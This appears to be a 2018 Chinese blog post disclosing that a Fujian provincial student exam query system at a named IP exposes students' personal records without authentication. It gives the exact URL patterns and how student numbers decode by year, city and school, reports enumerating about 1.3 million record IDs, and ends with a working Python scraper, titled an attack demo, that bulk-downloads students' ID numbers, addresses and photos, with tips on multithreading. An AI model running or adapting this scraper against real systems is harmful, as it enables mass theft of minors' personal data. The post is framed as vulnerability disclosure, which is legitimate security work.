福建省普高学生学业水平考试查询系统数据无保护泄漏漏洞

Posted 2018-02-11Updated 2019-10-31Words 2kReading 12m

前文福建省教育系统信息泄露漏洞

发现漏洞没有修复,于是乎准备向漏洞盒子提交这个漏洞
在提交前先做好取证的相关工作。

这个漏洞来源是在福建省普高学生学业水平考试查询系统中发现的
http://220.160.54.42/HKMS/login.shtml?method=studentLogin
这个网页做的实在是简陋。先观察一下这个网页的源代码,可以发现很多问题,例如注释未删减透露的一些信息。

刚刚试验无法使用之前成功登录的密码登入网站。使用帐号+默认密码登录成功后网页会跳出修改密码的页面并陷入死循环,估摸着是管理员在限制考生登录网站。所以接下来是原先的截图配上文字说明
2018.02.12.下午 又可以访问了

Inspect & Analysis

用学生帐号成功登录后对页面对网站框架分析审查,右框显示的是考生的个人信息。

显然,考生个人信息均被保存在

"http://220.160.54.42/HKMS/studentCenter.shtml?method=tab&examineeId=%s" % (examineeId,考生号,某种顺序编排的号码非下文的ksh)

这个页面包含了考生号照片姓名学籍校考籍校年级班级性别政治面貌证件类型证件号码出生日期民族籍贯邮政编码报考类别联系电话通讯地址等信息且均不可修改。

这样的网页里。我们点击第二个考籍修改
再次对框架进行审查,可以得到这个框架的源地址是

"http://220.160.54.42/HKMS/examineeSC.shtml?method=viewByStudentCenter&ksh=%s" % (学号)

这个网页包含了和考生个人信息网页类似的内容,只不过缺少了学籍校考籍校年级班级邮政编码联系电话通讯地址可修改。这个网页的参数ksh考生号(实为学号)可以直接判断该考生的来源
例子:

1641010XXX 可以解码为 16 2016级 41 福建省龙岩市 01 第一中学 XXXX 考生序号

在之前信息技术会考考试软件中,直接输入学号即可以获得考生的个人相片。由此我对显示考生相片再次审查

可以看到考生的相片被储存在

"http://220.160.54.42/HKMS/examineePre.shtml?method=showPHOTO&ksh=%s" % (学号)

一个学号对应一个网页,将该网页下载至本地并将文件类型(后缀)修改成jpg,即可看到该考生的照片。
我只要在控制台进行相关操作,框架便会显示指定考生的个人信息

类似的操作有

1
2
3
javascript:examineeChangeView('1641010393');
javascript:examineeView('1641010393');
javascript:showExamDetail('878559');

Assessment

以上只是列举一部分的框架组成,严重的问题出现在这些框架均未加密,可以以访客的身份直接打开。

稍微看了一下成绩查询的页面,使用cookies查询到的考试成绩,还未做更加详细的分析。
初略的估计这个泄漏涉及到30W考生

今天登录的时候发现成绩查询入口没有在页面上显示,查看一下源代码,意外发现只是被注释掉了

还发现了考场安排查询也是在注释其中

一个修补漏洞的思路:
将考生信息加密处理,登录前拒绝访问,登录后可见,且一考生对应该考生个人信息显示,技术细节请维护人员自行处理。

接下来我们先研究一下examineeId是如何排序的。

我从800000随意开始试验,发现这个序列是按照学校有序排列的,但是之后的过程中发现有些考生顺序不在其中,跨越了几个号码,由此想到是否是按照信息录入顺序填写的,由小到大穷举到1085694之后网页便返回HTTP500,我以为只有1085695人被录入该系统,而实际上是10856951085679出现了断片,使用二分法继续穷举,截至到1299945之后的网页均为HTTP500

相当于是截至今日,福建省1299945名考生的信息未做任何加密保护浮于网络上。

当然有机会可以将examineeIdksh一一对应观察是否存在对应关系。

Attack Demo

既然知道了信息是如何罗列的,那么获取信息自然很容易,下面demo一个不法分子如何利用爬虫获取信息的方式

使用工具:Python 3.x
攻击类型:数据爬虫

可以利用Python内置的urllib模块进行网页访问操作,我们只要构建一个文件保存操作即可。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
# coding:utf8
import urllib.request

def getHtml(url):
html = urllib.request.urlopen(url).read()
return html

def saveHtml(file_name, file_content):
#Win文件名禁用符
with open(file_name.replace('/', '_') + ".html", "wb") as f:
#将str转码到bytes写入文件
f.write(file_content)

上面的代码写入的是html网页数据,如果需要写入图片数据只需要将第10行改成
with open(file_name.replace('/', '_') + ".jpg", "wb") as f:

考虑到需要获取的网页传入参数是有按照一定顺序排列,可以使用for循环解决掉每一项任务。
此时只需要给出一个R = range(xxx,xxx)使其一个个代换。循环代码如下

1
2
3
4
5
6
7
8
9
R = range(xxx,xxx)
for id in R:
pUrl = "http://220.160.54.42/HKMS/examineePre.shtml?method=showPHOTO&ksh=%s" % (id)
scUrl = "http://220.160.54.42/HKMS/studentCenter.shtml?method=tab&examineeId=%s" % (id)
escUrl = "http://220.160.54.42/HKMS/examineeSC.shtml?method=viewByStudentCenter&ksh=%s" % (id)
html = getHtml(escUrl)
saveHtml(str(id),html)
print("%s 下载成功" % (id))
print("全部下载成功")

这里有三个Url,分别是照片、考生个人信息、考籍修改,只需要按照上文所指的规律填写range就可以依次爬取数据。
如果要在三个Url和不同range之间切换,可以再加入一个for循环

考虑到工程量巨大,可以写一个并发进行的多线程脚本,使其执行不同range的任务,大大加快爬取速度。
220.160.54.42这个服务器相当不稳定,经常出现宕机状况,在下载考籍修改html时候会出现如下提示并无法访问网页
http.client.RemoteDisconnected: Remote end closed connection without response

稍做休息网站又恢复运转,可能是服务器的流量保护机制(一个例子是学生涌入查分时候出现大量无法访问该网站的情况)

解决人力问题可以这样操作:
使用脚本后台执行访问指定网页(有一定时间间隔),如果返回200则调用对应代码发信(可以使用emailsmtplib模块),如果非200则继续尝试访问,在这里不给出详细代码。

爬取效果如下图所示(截图之后已将所有文件销毁处理)

打开考籍修改的html,找到网页依赖的css文件并下载放入文件夹,网页的面貌又恢复如初了。

据我所知可以利用工具(软件或相关代码)将html文件对应信息提取写入一个数据表(excel表格)组合成一个数据库,那么查询考生的个人信息将是易如反掌。

如果不法分子熟识了以上的方式方法,那么考生的个人信息将可能被贩卖或利用到不法行径上,考生的个人安全也将出现漏洞。该漏洞在早些时候我已提交到了360补天漏洞响应平台,但是时日已久,该漏洞仍然存在,所以今天我做了一个demo,演示一下不法分子如何获取到敏感信息。

2018.02.12